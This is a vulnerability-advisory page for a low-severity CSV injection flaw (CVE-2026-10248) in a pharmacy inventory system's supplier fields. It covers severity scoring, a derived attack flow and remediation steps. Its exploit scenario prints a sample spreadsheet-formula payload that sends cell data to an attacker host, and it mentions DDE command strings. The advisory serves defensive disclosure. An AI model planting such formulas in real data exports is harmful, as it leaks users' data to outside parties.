Skip to main content

Pharmacy Sales and Inventory System CVE-2026-10248

| EUVDEUVD-2026-33623 LOW
Improper Neutralization of Formula Elements in a CSV File (CWE-1236)
2026-06-01 VulDB GHSA-hpq4-4cqf-mcg8
2.0
CVSS 4.0 · Vendor: VulDB
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate to application with high-privilege credentials
  2. Delivery
    Navigate to Supplier Creation Interface
  3. Exploit
    Inject formula payload into Address or Company Name field
  4. Install
    Save malicious supplier record
  5. C2
    Victim exports supplier list via /Export_csv/export
  6. Execute
    Victim opens CSV in Excel or LibreOffice
  7. Impact
    Formula executes on victim workstation

Vulnerability Assessment

Weakness
CWE
ASVS 5.0
V1 - Encoding and Sanitization CSV injection prevention
Exploitation Conditions

Exploitation requires the attacker to hold a high-privilege account (PR:H per CVSS vector) on the SourceCodester Pharmacy Sales and Inventory System - the attacker cannot exploit this unauthenticated or with low-privilege credentials. The Supplier Creation Interface must be accessible and the attacker must be permitted to create or modify supplier records. A secondary victim condition must also be met: a separate user (or the attacker themselves under a social engineering scenario) must export the supplier list via the /Export_csv/export endpoint and open the resulting file in a spreadsheet application that evaluates formula content (e.g., Microsoft Excel, LibreOffice Calc, Google Sheets in certain configurations). Exploitation is limited by: (1) the PR:H requirement blocking unprivileged or external attackers; (2) the client-side nature of the payload, which requires a human action to trigger; (3) spreadsheet applications with Protected View enabled will display a warning before executing formulas, providing a partial mitigation on the victim's workstation.

Impact

The CVSS base score of 4.7 (Medium) is consistent with the actual risk profile. The most significant limiting factor is PR:H (High Privileges Required), meaning the attacker must already hold an elevated account within the application - substantially reducing the exposed attack surface compared to unauthenticated vulnerabilities. The CVSS temporal component E:P confirms a proof-of-concept exploit has been publicly disclosed, and RL:X (Remediation Level Unknown) indicates no confirmed patch status at time of scoring. The RC:R (Reasonable Confidence) reflects that the report has not yet been independently verified by the vendor. Impact is constrained to C:L/I:L/A:L with an Unchanged scope, meaning the server itself is not directly compromised. Real-world harm depends on: (1) a privileged attacker crafting a malicious supplier record, and (2) a separate victim user exporting and opening the CSV in a vulnerable spreadsheet client. This two-step dependency lowers practical exploitation probability despite POC availability. No EPSS score was provided in source data; risk should be treated as low-to-moderate given the PR:H gate.

Exploit ScenarioDerived

A high-privileged attacker with valid application credentials navigates to the Supplier Creation Interface and creates or edits a supplier record, injecting a payload such as '=HYPERLINK("http://attacker.com/?data="&A1,"Click")' or a DDE command string into the Company Name or Address field. A staff member later exports the supplier list via the /Export_csv/export endpoint and opens the resulting file in Microsoft Excel, which interprets the injected formula and either exfiltrates local data to an attacker-controlled server or prompts execution of a system command. A publicly available proof-of-concept demonstrating this technique exists at https://github.com/timeflies123/cve/issues/6.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
No patch listed yet 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 01, 2026

CSV injection in SourceCodester Pharmacy Sales and Inventory System 1.0 allows high-privileged remote attackers to embed malicious spreadsheet formula payloads via the Address and Company Name fields in the Supplier Creation Interface, which are then written unsanitized to exported CSV files. When downstream staff open the exported file in a spreadsheet application such as Microsoft Excel or LibreOffice Calc, the injected formulas execute in that client application's context, enabling information disclosure, data manipulation, or further client-side exploitation. A publicly available proof-of-concept exists (GitHub), though no active exploitation has been confirmed and this CVE is not listed in the CISA KEV catalog.

RemediationAI

No vendor-released patch has been identified at time of analysis - the remediation level in the CVSS temporal vector is listed as Unknown (RL:X), and no patched version is referenced in any available advisory. Organizations running this software should apply the following compensating controls: (1) Sanitize user input at the point of entry by stripping or rejecting leading formula trigger characters (=, +, -, @) from the Address and Company Name fields in the Supplier Creation Interface - note this may reject some legitimate address formats starting with '+' country codes and should be communicated to users. (2) Implement server-side CSV output encoding by prefixing all cell values with a tab character or wrapping them in double quotes to prevent formula interpretation - this is the recommended OWASP defense and has no functional side effects on data fidelity. (3) Restrict access to the CSV export feature (/Export_csv/export) to the minimum necessary personnel, reducing the pool of potential victims who might open a maliciously crafted export. (4) Educate users to open exported CSV files in protected view or to use text-based viewers when handling untrusted exports. VulDB tracking is available at https://vuldb.com/vuln/367526.

Affected VersionsENISA

Pharmacy Sales and Inventory System 1.0

Affected Packages

euvd pharmacy_sales_and_inventory_system no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

CWE-1236 (Improper Neutralization of Formula Elements in a CSV File) describes a class of injection vulnerabilities where user-supplied input containing spreadsheet formula trigger characters - typically leading '=', '+', '-', or '@' - is written into CSV output without sanitization or proper quoting. In this case, the vulnerable sink is the create_supplier function within the /Export_csv/export endpoint of the Supplier Creation Interface. The CPE string (cpe:2.3:a:sourcecodester:pharmacy_sales_and_inventory_system:*:*:*:*:*:*:*:*) confirms the affected software is SourceCodester's PHP-based Pharmacy Sales and Inventory System through version 1.0. The attack is not server-side code execution - it is a client-side formula injection that activates when a human operator exports and opens the CSV in a spreadsheet application, which then interprets attacker-controlled content as executable formula logic.

Know when Pharmacy Sales And Inventory System gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulDB) PRIMARY 2.0 LOW
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P

Primary rating from Vendor (VulDB) · only source for this CVE.

CVSS VectorVendor: VulDB

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
High
User Interaction
None
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
Low
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Severity Changed
Jun 01, 2026 - 11:22 NVD
MEDIUM LOW
CVSS changed
Jun 01, 2026 - 11:22 NVD
4.7 (MEDIUM) 2.0 (LOW)

DescriptionCVE.org

A vulnerability was determined in SourceCodester Pharmacy Sales and Inventory System up to 1.0. This issue affects the function create_supplier of the file /Export_csv/export of the component Supplier Creation Interface. This manipulation of the argument Address/Company Name causes csv injection. Remote exploitation of the attack is possible. The exploit has been publicly disclosed and may be utilized.

Threat Intelligence Overview

EPSS Score
0.1%
Top 84% exploitable
Exploit
POC
Public exploit code exists
Social Media
1
Sightings
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC Yes
EPSS 0.1%
Patch available No
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Low
Technical Impact
Partial

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +10
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

CVE-2022-30407 CRITICAL POC
9.8 May 13

Pharmacy Sales And Inventory System v1.0 is vulnerable to SQL Injection via /pharmacy-sales-and-inventory-system/manage_

CVE-2026-10255 MEDIUM POC
5.5 Jun 01

Unauthenticated remote information disclosure in SourceCodester Pharmacy Sales and Inventory System 1.0 allows network-b

CVE-2026-8083 MEDIUM POC
5.5 May 07

SQL injection in SourceCodester Pharmacy Sales and Inventory System 1.0 allows remote unauthenticated attackers to execu

CVE-2026-7550 MEDIUM POC
5.5 May 01

SQL injection in SourceCodester Pharmacy Sales and Inventory System 1.0 allows remote unauthenticated attackers to read,

CVE-2026-7549 MEDIUM POC
5.5 May 01

SQL injection in SourceCodester Pharmacy Sales and Inventory System 1.0 allows remote unauthenticated attackers to extra

CVE-2026-7199 MEDIUM POC
5.5 Apr 27

SQL injection in SourceCodester Pharmacy Sales and Inventory System 1.0 allows remote unauthenticated attackers to execu

CVE-2026-7194 MEDIUM POC
5.5 Apr 27

SQL injection in SourceCodester Pharmacy Sales and Inventory System 1.0 exposes the `/ajax.php?action=save_product` endp

CVE-2026-7127 MEDIUM POC
5.5 Apr 27

SQL injection in SourceCodester Pharmacy Sales and Inventory System 1.0 allows remote unauthenticated attackers to read,

CVE-2026-7126 MEDIUM POC
5.5 Apr 27

SQL injection in SourceCodester Pharmacy Sales and Inventory System 1.0 allows remote unauthenticated attackers to execu

CVE-2026-7088 MEDIUM POC
5.5 Apr 27

SQL injection in SourceCodester Pharmacy Sales and Inventory System 1.0 allows remote unauthenticated attackers to execu

CVE-2026-7087 MEDIUM POC
5.5 Apr 27

SQL injection in SourceCodester Pharmacy Sales and Inventory System 1.0 allows remote unauthenticated attackers to extra

CVE-2026-6189 MEDIUM POC
5.5 Apr 13

SQL injection in SourceCodester Pharmacy Sales and Inventory System 1.0 allows unauthenticated remote attackers to extra

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy